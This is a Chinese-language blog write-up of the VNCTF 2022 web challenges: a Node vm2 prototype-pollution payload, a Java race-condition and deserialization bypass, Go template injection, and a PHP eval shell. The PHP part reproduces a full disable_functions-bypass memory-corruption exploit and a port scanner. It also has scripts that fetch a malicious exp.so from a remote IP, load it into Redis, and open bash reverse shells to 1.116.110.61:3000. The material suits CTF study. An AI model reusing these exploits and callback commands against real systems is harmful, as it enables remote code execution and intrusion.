VNCTF 2022 web

前言

复现一下vnctf

GameV4.0

签到

newcalc0

源码

const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
  const e = req.body.e;
  if (!e) {
    res.send("wrong?");
    return;
  }
  try {
    res.send(vm.run("module.exports="+e)?.toString() ?? "no");
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

app.use("/flag", (req, res) => {
  if(Object.keys(Object.prototype).length > 0) {
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
    res.send(process.env.FLAG);
  } else {
    res.send(Object.keys(Object.prototype));
  }
})

app.use("/source", (req, res) => {
  let p = req.query.path || "/src/index.js";
  p = path.join(path.resolve("."), path.resolve(p));
  console.log(p);
  res.sendFile(p);
});

app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

flag路由下拿到flag的条件是 Object.keys(Object.prototype).length > 0 然后是用的vm2，可以利用逃逸进行污染，但是题目环境全部为最新包。前一段时间 nodejs 更新了三个漏洞，其中一个是原型污染 CVE-2022-21824

January 10th 2022 Security Releases | Node.js (nodejs.org)

Due to the formatting logic of the function it was not safe to allow user controlled input to be passed to the parameter while simultaneously passing a plain object with at least one property as the first parameter, which could be . The prototype pollution has very limited control, in that it only allows an empty string to be assigned to numerical keys of the object prototype.console.table() properties __proto__

就是说 console.table会污染 Object的原型对象，使其被污染为 {‘0’:’’}

但是本地nodejs 14报错，不清楚为什么，网上找了个低版本出现预期看到的结果，另外在DiceCTF2022中有同样的一道题目 vm-calc

出题人博客：https://brycec.me/posts/dicectf_2022_writeups

payload：console.table([{x:1}], [“__proto__“]);

easyJava

存在任意文件读，wp采用了 netdoc协议与 file 协议相同，补充了个知识点，然后读取相关class文件，在JDK 9之后，netdoc协议将会失效。

/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/

/file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/

Secr3t.class经过反编译：三个点 随机生成key 还有个 check函数与 getFlag函数

再看一下helloworld.class反编译后发现是个servlet，对应路由为 /evi1：首先实例化了一个对象user

然后在处理post请求时，接受参数key，base64解码后反序列化，如果与this.user相同，就得到flag

在处理get请求时，明显存在问题，相同的输入，输出却不同，这里并没有进行多线程请求的处理，可以利用条件竞争导致servlet出错，进而绕过第一个if，得到key

竞争脚本：直接拿wp的脚本跑

a.py

import requests
host = "http://7a75dd5e-b987-4400-85a1-454c19504d0a.node4.buuoj.cn:81/"
while True:
    r = requests.get(host+"evi1?name=asdqwer")
    r.encoding = "utf-8"
    if r.text.find("The Key is")!=-1:
        print(r.text)
    if(r.text.replace(" ","")!=""):
        print(r.text

b.py

import requests
host = "http://7a75dd5e-b987-4400-85a1-454c19504d0a.node4.buuoj.cn:81/"
while True:
    r = requests.get(host+"evi1?name=vnctf2022")
    r.encoding = "utf-8"
    if r.text.find("The Key is")!=-1:
        print(r.text)

算了，buu爆不出来，调整sleep也不行,构造反序列化

User u = new User("m4n_q1u_666","666","180:)
byte[] ustr = SerAndDe.serialize(u);
String poc = Base64.getEncoder().encodeToString(ustr);
System.out.println(poc);

还有 height被 transient 所修饰，序列化的时候需要重写writeObject

private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
 s.defaultWriteObject();
 //强制序列化name
 s.writeObject(this.height);
}

post打过去就行了

InterestingPHP

• redis 主从复制rce
• bypass disable_functions

开局一句话

<?php highlight_file(__FILE__); @eval($_GET['exp']);?>

phpinfo()被ban，几个系统命令无法执行，var_dump(scandir(‘./‘)); 发现 index.php 和 secret.rdb

看了几份wp，收获几个信息收集的姿势，读取配置信息

var_dump(get_cfg_var("disable_functions"));
var_dump(get_cfg_var("open_basedir"));
var_dump(ini_get_all());  //发现diff

解法一–bypass disable

直接利用 bypass 的exp命令执行，fwrite函数被ban，exp中改为fputs exploits/exploit.php at master · mm0r1/exploits (github.com)

三个需要注意的点

• hackbar选择 multipart/form-data
• ——WebKitFormBoundarygKA0mBRa2KfAuNWw(—) 去除最后面的—
• 添加 Content-Disposition: form-data; name=”a”

POST /?exp=eval($_POST[a]); HTTP/1.1
Host: 198d7af9-a9a0-419d-9605-73eea78ae10d.node4.buuoj.cn:81
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygKA0mBRa2KfAuNWw
Content-Length: 6869

------WebKitFormBoundarygKA0mBRa2KfAuNWw
Content-Disposition: form-data; name="a"

pwn('whoami');
#pwn($_POST[1]);

function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $cmd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fputs($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;

    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {};

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fputs($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fputs($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}

反弹shell

pwn("bash -c 'exec bash -i &>/dev/tcp/1.116.110.61/3000 <&1'");

读取flag没有权限，那就是提权的事喽，pkexec提权走起

解法二–加载恶意so文件 RCE

探测目录文件，发现 secret.rdb

下载下来发现是一个redis的数据备份文件，猜测密码为ye_w4nt_a_gir1fri3nd,尝试主从复制打redis

但发现端口并不是6379，所以这里需要探测一下端口

<?php
highlight_file(__FILE__);
# Port scan
for($i=0;$i<65535;$i++) {
  $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
  if($ee2 === "Address already in use") {
    var_dump($i);
  }
}

for($i=0;$i<65535;$i++) {
  $t=file_get_contents('http://127.0.0.1:'.$i);
  if(!strpos(error_get_last()['message'], "Connection refused")) {
    var_dump($i);
  }
}

写入扫描php文件

/?exp=eval(file_put_contents("a.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==

发现80和8888

利⽤ get_loaded_extensions() 可以看到PHP加载的插件，从中可以看到题⽬环境中加载了PHP的redis插件 （redis.so），翻找⼀下⽂档可以找到这个插件的Redis类中有 rawCommand() ⽅法可以执⾏redis的命令操作。利用 file_put_contents() 写恶意so文件，接着载入恶意.so文件模块，反弹shell至远程主机

利用curl+file_put_contents写入so文件 n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)

import requests

url = "http://9d7d7c0d-01b5-4286-b79b-beefdccc37f6.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {"content-type": "application/x-www-form-urlencoded"}
pay = "http://1.116.110.61:8000/exp.so"
payload = '''
      function Curl($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
            $result = curl_exec($ch);
            curl_close($ch);
            file_put_contents("exp.so",$result);
      }

      Curl("''' + pay + '''");
'''.strip()

data = {
    0: payload
}
r = requests.post(url, data, headers=headers).text
print(r)

利用 rawCommand() 执行redis命令，反弹shell

import base64
import requests

url = "http://9d7d7c0d-01b5-4286-b79b-beefdccc37f6.node4.buuoj.cn:81/?exp=eval(base64_decode($_POST[0]));"
payload = '''
        $redis = new Redis();
        $redis->connect('127.0.0.1',8888);
        $redis->auth('ye_w4nt_a_gir1fri3nd');
        $redis->rawCommand('module','load','/var/www/html/exp.so');
        $redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/1.116.110.61/3000 0>&1'");
'''
payload=base64.b64encode(payload.encode(encoding="utf-8"))
data = {
    0: payload
}
r = requests.post(url, data=data).text
print(r)

成功

解法三– gopher攻击认证redis(失败)

之前极客大挑战中有一道题目givemeyourlove，利用ssrf攻击认证redis写webshell，所以这道题我想尝试一下攻击认证redis反弹shell，首先gopher生成反弹shell的 payload

添加认证

%2A2%0d%0a%244%0d%0aAUTH%0d%0a%2420%0d%0aye_w4nt_a_gir1fri3nd%0D%0A

最后没能成功

gocalc0

非预期

session中有一段base64，解码得到flag

预期解

go的SSTI 利用 printf 和占位符打印出源码，payload:

{{printf "%+v" .}} 或者 {{.}}

Go语言的%d,%p,%v等占位符的使用 - 简书 (jianshu.com)

Golang中的SSTI | CoolCat’ Blog (thekingofduck.com)

Go SSTI初探 | tyskillのBlog

package main
import (
	_ "embed"
	"fmt"
	"os"
	"reflect"
	"strings"
	"text/template"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/maja42/goval"
)

//go:embed template/index.html
var tpl string

//go:embed main.go
var source string

type Eval struct {
	E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
	eval := goval.NewEvaluator()
	result, err := eval.Evaluate(e.E, nil, nil)
	if err != nil {
		return "", err
	}
	t := reflect.ValueOf(result).Type().Kind()

	if t == reflect.Int {
		return fmt.Sprintf("%d", result.(int)), nil
	} else if t == reflect.String {
		return result.(string), nil
	} else {
		return "", fmt.Errorf("not valid type")
	}
}

func (e Eval) String() string {
	res, err := e.Result()
	if err != nil {
		fmt.Println(err)
		res = "invalid"
	}
	return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
	session := sessions.Default(c)

	var his string

	if session.Get("history") == nil {
		his = ""
	} else {
		his = session.Get("history").(string)
	}

	fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
	t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
	if err != nil {
		fmt.Println(err)
		c.String(500, "internal error")
		return
	}
	if err := t.Execute(c.Writer, map[string]string{
		"s0uR3e": source,
	}); err != nil {
		fmt.Println(err)
	}
}

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8080"
	}

	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))

	r.GET("/", func(c *gin.Context) {
		render(c)
	})

	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		session.Set("FLAG", os.Getenv("FLAG"))
		session.Save()
		c.String(200, "flag is in your session")
	})

	r.POST("/", func(c *gin.Context) {
		session := sessions.Default(c)

		var his string

		if session.Get("history") == nil {
			his = ""
		} else {
			his = session.Get("history").(string)
		}

		eval := Eval{}
		if err := c.ShouldBind(&eval); err == nil {
			his = his + eval.String() + "<br/>"
		}
		session.Set("history", his)
		session.Save()
		render(c)
	})

	r.Run(fmt.Sprintf(":%s", port))
}

本地起一个

package main
import (
  _ "embed"
  "fmt"
  "os"
  "github.com/gin-contrib/sessions"
  "github.com/gin-contrib/sessions/cookie"
  "github.com/gin-gonic/gin"
)

func main() {
 port := os.Getenv("PORT")
 if port == "" {
 	port = "8080"
}
 
 r := gin.Default()
 store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
 r.Use(sessions.Sessions("session", store))

 r.GET("/", func(c *gin.Context) {
 	session := sessions.Default(c)
 	println(session.Get("FLAG").(string))
 })
 r.Run(fmt.Sprintf(":%s", port))
}